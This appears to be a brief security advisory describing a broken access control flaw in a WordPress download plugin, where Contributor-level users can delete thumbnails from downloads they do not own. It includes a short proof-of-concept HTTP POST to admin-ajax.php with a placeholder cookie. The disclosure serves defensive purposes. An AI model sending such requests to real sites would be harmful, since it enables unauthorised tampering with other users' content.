The plugin allows users with a role as low as Contributor to remove thumbnails from downloads they do not own, even if they cannot normally edit the download.
Proof of Concept
post_id_del: 613 // not owned by the user
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [contrib+ not owning the download to remove the thumbnail from]